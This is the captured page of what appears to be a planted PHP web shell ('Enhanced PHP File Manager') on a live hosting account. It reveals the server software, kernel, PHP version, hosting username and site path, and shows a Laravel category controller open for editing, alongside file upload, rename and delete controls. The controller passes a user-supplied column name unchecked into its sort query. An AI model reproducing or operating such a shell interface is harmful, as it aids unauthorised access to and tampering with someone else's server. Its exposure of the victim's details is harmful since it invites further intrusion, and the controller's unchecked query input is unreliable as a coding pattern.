Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.34.1.lve.el8.x86_64

PHP Version:

8.1.34

User:

u823300664

Directory:

/home/u823300664/public_html/app.allspikes.in/app/Http/Controllers/Admin/CategoriesLevel3

Free Space:

1.9 TB

🔧 Quick Actions

✏️ Editing: CategoriesLevel3Controller.php

<?php
namespace App\Http\Controllers\Admin\CategoriesLevel3;
use File;
use Image;
use Session;
use Exception;
use PDOException;
use App\Models\User;
use App\Models\Language;
use App\Models\Categorie;
use App\Models\Setting;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\App;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\Auth;
use App\Traits\checkPermissionsTrait;
use App\Traits\SocialLink\SocialLinkTrait;
use App\Traits\GeneralsettingTrait;
use App\Traits\LanguagecodeTrait;
use App\Exceptions\InvalidOrderException;
use Illuminate\Support\Facades\Validator;
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Reader\Xlsx;

class CategoriesLevel3Controller extends Controller
{

use checkPermissionsTrait;
	use SocialLinkTrait;
	use GeneralsettingTrait;
	use LanguagecodeTrait;

public function __construct() {
	  $this->middleware('admin');
	}

public function index(){

if(!$this->checkPermission(Auth::user()->role_id, 'categories', 'is_read') ) {
			return  redirect()->route('dashboard')->with('warning',app('translator')->get('messages.You are not authorised to access that location'));
		}
 
		$metatitle = "Categories";
	  return view('Admin.CategoriesLevel3.index',compact('metatitle'));
	}

public function getCategories(Request $request){

## Read value
		$draw = $request->get('draw');
		$start = $request->get("start");
		$rowperpage = $request->get("length"); // Rows display per page

$order_arr = $request->get('order');
		$search_arr = $request->get('search');
		$columnName_arr = $request->get('columns');
		$columnIndex_arr = $request->get('order');

$columnIndex = $columnIndex_arr[0]['column']; // Column index
		$columnName = $columnName_arr[$columnIndex]['data']; // Column name
		$columnSortOrder = $order_arr[0]['dir']; // asc or desc
		$searchValue = $search_arr['value']; // Search value

$tRecords = Categorie::select('count(*) as allcount')->where('delete_status',0)->where('level',3);
		$totalRecords = $tRecords->count();

// Fetch records

$columnName = ($columnName == 'id')?'sort_order':$columnName;
        $columnSortOrder = ($columnName == 'sort_order')?'ASC':$columnSortOrder;

$recordData =  Categorie::with('CatData:id,title','SubCatData:id,title')->orderBy("categories.".$columnName,$columnSortOrder)->where('categories.delete_status',0)->where('categories.level',3);
	        $recordData->where(function ($query) use ($searchValue)
	        {
				if($searchValue!=''){
					$query->where('categories.title', 'like', '%' .$searchValue . '%')
						->orWhere('categories.id', 'like', '%' .$searchValue . '%');
				}
	        });

$recordData->select('categories.*');
	    $totalRecordswithFilter = $recordData->count();
	        $recordData->skip($start)->take($rowperpage);
	    $records =  $recordData->get();

$data_arr = array();
	    $incKey = 0;

$categorie_is_delete=0;
		$categorie_is_edit=0;

if($this->checkPermission(Auth::user()->role_id, 'categories', 'is_edit')==true) {
			$categorie_is_edit=1;
		}

if($this->checkPermission(Auth::user()->role_id, 'categories', 'is_delete')==true){
			$categorie_is_delete=1;
		}

$are_you_sure_want_to_delete = app('translator')->get('messages.are_you_sure_want_to_delete');
		$destinationPath = public_path('/uploads/categories/');
		$DI = 0;
	    foreach($records as $record){

$data_arr[$incKey]['DT_RowId'] = $record->id;
			$data_arr[$incKey]['id'] = $record->id;
			$data_arr[$incKey]['title'] = $record->title;
			$data_arr[$incKey]['sub_parent_id'] = $record->SubCatData->title;
			$data_arr[$incKey]['parent_id'] = $record->CatData->title;

if($record->status == true){
				$data_arr[$incKey]['status'] = '<a href="javascript:void(0)" class="btn btn-success btn-sm sm-1 updatestates" id="atag'.$record->id.'" data-id="'.$record->id.'" data-status="1">Active</a>';
			}else{
				$data_arr[$incKey]['status'] = '<a href="javascript:void(0)" class="btn btn-danger btn-sm sm-1 updatestates" id="atag'.$record->id.'" data-id="'.$record->id.'" data-status="0">Inactive</a>';
			}

$actions = '';
			$actions = '<div class="btn-group"><button type="button" class="btn btn-pill btn-primary btn-sm">Action</button><button type="button" class="btn btn-pill btn-primary dropdown-toggle px-1  btn-sm" data-bs-toggle="dropdown" data-display="static"><span class="caret"></span><span class="sr-only">Toggle Dropdown</span></button><ul class="dropdown-menu" role="menu">';

if($categorie_is_edit == true){

$actions .= '<li><a href="'.route('categorie_level3.edit', $record->id).'" class=""><i class="fe fe-edit"></i> Edit<div class="ripple-container"></li>';
			}

if($categorie_is_delete==true)
	        {
            	$actions .= '<li><a href="javascript:void(0)" class="ripple-container delete-row" table-url="'.route('categorie_level3.delete', $record->id).'" ><i class="fe fe-trash"></i> Delete</a></li>';
        	}

$actions .= '</ul></div>&nbsp;';
			$actions .= '<a href="javascript:void(0);" title="'.app('translator')->get('messages.Reposition').'" class="btn btn-gray btn-sm sm-1" ><i class="ti-menu reposition" style=" color: #fff;"></i></a>';

$data_arr[$incKey]['action'] = $actions;

$incKey++;
			$DI++;
	    }

$response = array(
			"draw" => intval($draw),
			"aaData" => $data_arr,
			"iTotalRecords" => $totalRecords,
			"iTotalDisplayRecords" => $totalRecordswithFilter,
		);

echo json_encode($response);
		exit;
	}

public function create(){

if( !$this->checkPermission(Auth::user()->role_id, 'categories', 'is_add') )
		{
		 	return  redirect()->route('dashboard')->with('warning',app('translator')->get('messages.You are not authorised to access that location'));
		}

$catArr = Categorie::where('level',1)->where('status',1)->where('delete_status',0)->orderBy('sort_order', 'asc')->pluck('title','id');
		$metatitle = "Categories";
		return view('Admin.CategoriesLevel3.create',compact('metatitle','catArr'));
	}

public function store(Request $request){

try
		{
			$request->validate([
				'title' => 'required',
				'parent_id' => 'required',
				'sub_parent_id' => 'required',
			],
			[
				'title.required' => 'This field is required.',
				'sub_parent_id.required' => 'This field is required.',
				'parent_id.required' => 'This field is required.'
			]);

// $image = request('image');
			// $fileName = '';
            // if($request->hasFile('image')){

//     if ($image->isValid()){

//         $public_path = public_path('/uploads/categories/');
            //         $fileName = $image->hashName();
            //         $foo = \File::extension($fileName);
            //         $fileName = 'rtyx_'.mt_rand(10000000,99999999).'.'.$foo;

//         $destinationPath = public_path('/uploads/categories/thumbnail');

// 		$Image = Image::make($image->path());
			// 		$Image->resize(100, 100, function ($constraint)
			// 		{
			// 			$constraint->aspectRatio();
			// 		})->save($destinationPath.'/'.$fileName);

//         $image->move($public_path,$fileName);
            //     }
            // }

$data_arr['title'] = !empty(request('title')) ? request('title') :  '';
			$data_arr['status'] = !empty(request('status')) ? 1 : 0;
			$data_arr['sub_parent_id'] = !empty(request('sub_parent_id')) ? request('sub_parent_id') :  0;
			$data_arr['parent_id'] = !empty(request('parent_id')) ? request('parent_id') :  0;
			$data_arr['level'] = 3;
			Categorie::create($data_arr);

return  redirect()->route('categorie_level3.index')->with('success',app('translator')->get('The category was successfully added'));

}
		catch (PDOException $e)
		{
			return back()->with('error','Database error occured');;
		}
	}

public function edit(Categorie $categorie , $id){

try
		{
			if( !$this->checkPermission(Auth::user()->role_id, 'categories', 'is_edit') ) {
				return  redirect()->route('dashboard')->with('warning',app('translator')->get('messages.You are not authorised to access that location'));
			}

$catFirst = Categorie::where('id', $id)->firstOrFail();
			$catArr = Categorie::where('level',1)->where('status',1)->where('delete_status',0)->orderBy('sort_order', 'asc')->pluck('title','id');
			
			$subcatArr = Categorie::where('level',2)->where('status',1)->where('parent_id',$catFirst->sub_parent_id)->where('delete_status',0)->orderBy('sort_order', 'asc')->pluck('title','id');

$metatitle = "Categories";
			return view('Admin.CategoriesLevel3.edit',compact('metatitle','catFirst','id','catArr','subcatArr'));
		}
		catch (Exception $e)
		{
			$route = route('categorie_level3.index');
			return view('Admin.Error.error400',compact('route'));
		}
		catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e)
		{
			$route = route('categorie_level3.index');
			return view('Admin.Error.error404',compact('route'));
		}
	}

public function update(Request $request, $id){

try
		{

$request->validate([
				'title' => 'required',
				'parent_id' => 'required',
				'sub_parent_id' => 'required',
			],
			[
				'title.required' => 'This field is required.',
				'sub_parent_id.required' => 'This field is required.',
				'parent_id.required' => 'This field is required.'
			]);

$Categorie = Categorie::where('id', $id)->firstOrFail();

// $image = request('image');
            // if($request->hasFile('image')){

//     if ($image->isValid()){

//         $public_path = public_path('/uploads/categories/');
            //         if(!empty($Categorie->image) && File::exists($public_path.$Categorie->image)){
            //             unlink($public_path.$Categorie->image);
            //             unlink($public_path.'thumbnail/'.$Categorie->image);
            //         }

//         $fileName = $image->hashName();
            //         $foo = \File::extension($fileName);
            //         $fileName = 'rtyx_'.mt_rand(10000000,99999999).'.'.$foo;

//         $destinationPath = public_path('/uploads/categories/thumbnail');

// 		$Image = Image::make($image->path());
			// 		$Image->resize(100, 100, function ($constraint)
			// 		{
			// 			$constraint->aspectRatio();
			// 		})->save($destinationPath.'/'.$fileName);

//         $image->move($public_path,$fileName);
            //     }
            // }

$data_arr['title'] = !empty(request('title')) ? request('title') : '';
            $data_arr['sub_parent_id'] = !empty(request('sub_parent_id')) ? request('sub_parent_id') :  0;
			$data_arr['parent_id'] = !empty(request('parent_id')) ? request('parent_id') :  0;
			$data_arr['status'] = !empty(request('status')) ? 1 : 0;
			Categorie::whereId($Categorie->id)->update($data_arr);

return redirect()->route('categorie_level3.index')->with('success',app('translator')->get('Your category has been successfully updated'));

}
		catch (PDOException $e)
		{
			return back()->with('error','Database error occured');;
		}
	}

public function distroy($cat_id){

try
		{
			if( !$this->checkPermission(Auth::user()->role_id, 'categories', 'is_delete') ){
				return  redirect()->route('dashboard')->with('warning',app('translator')->get('messages.You are not authorised to access that location'));
			}

$categories = Categorie::where('id', $cat_id)->firstOrFail();
			Categorie::where('id', $cat_id)->delete();

return redirect()->route('categorie_level3.index')->with('success',app('translator')->get('The category has been successfully deleted'));

}
		catch (Exception $e)
		{
			$route = route('categorie_level3.index');
			return view('Admin.Error.error400',compact('route'));
		}
		catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e)
		{
			$route = route('categorie_level3.index');
			return view('Admin.Error.error404',compact('route'));
		}
	}

public function updateStatus(Request $request){

if ($request->ajax())
		{
			if( !$this->checkPermission(Auth::user()->role_id, 'categories', 'is_edit') )
			{
				return  redirect()->route('dashboard')->with('warning',app('translator')->get('You are not authorised to access that location'));
			}

$id = request('id');
			$output = array('success' => '', 'error' => '');
			$status = request('status') ? false : true;

$update = Categorie::where('id', $id)->update(['status' => $status]);

if ($update)
			{
				$output['success'] = trans('status_updated_successfully');
			}
			else
			{
				$output['error'] = trans('something_worng');
			}

return response()->json($output);
		}
	}

public function reposition(Request $request){

if ($request->ajax()){

$position = request('position');
            $output = array('success' => '', 'error' => '');
            $i = 1;
            foreach ($position as $k => $id) {
                $update = Categorie::where('id', $id)->update(['sort_order' => $i]);
                $i++;
            }
            if ($update)
            {   $output['success'] = trans('status_updated_successfully');}
            else
            {   $output['error'] = trans('something_worng');  }

return response()->json($output);
        }
    }

public function GetCatList(Request $request){

if ($request->ajax()){

$cat_id = request('cat_id');

$catArr = Categorie::where('level',2)->where('status',1)->where('parent_id',$cat_id)->where('delete_status',0)->orderBy('sort_order', 'asc')->pluck('title','id');

return view('Admin.CategoriesLevel3.catlist',compact('catArr'));
        }
    }

}
?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: CategoriesLevel3Controller.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation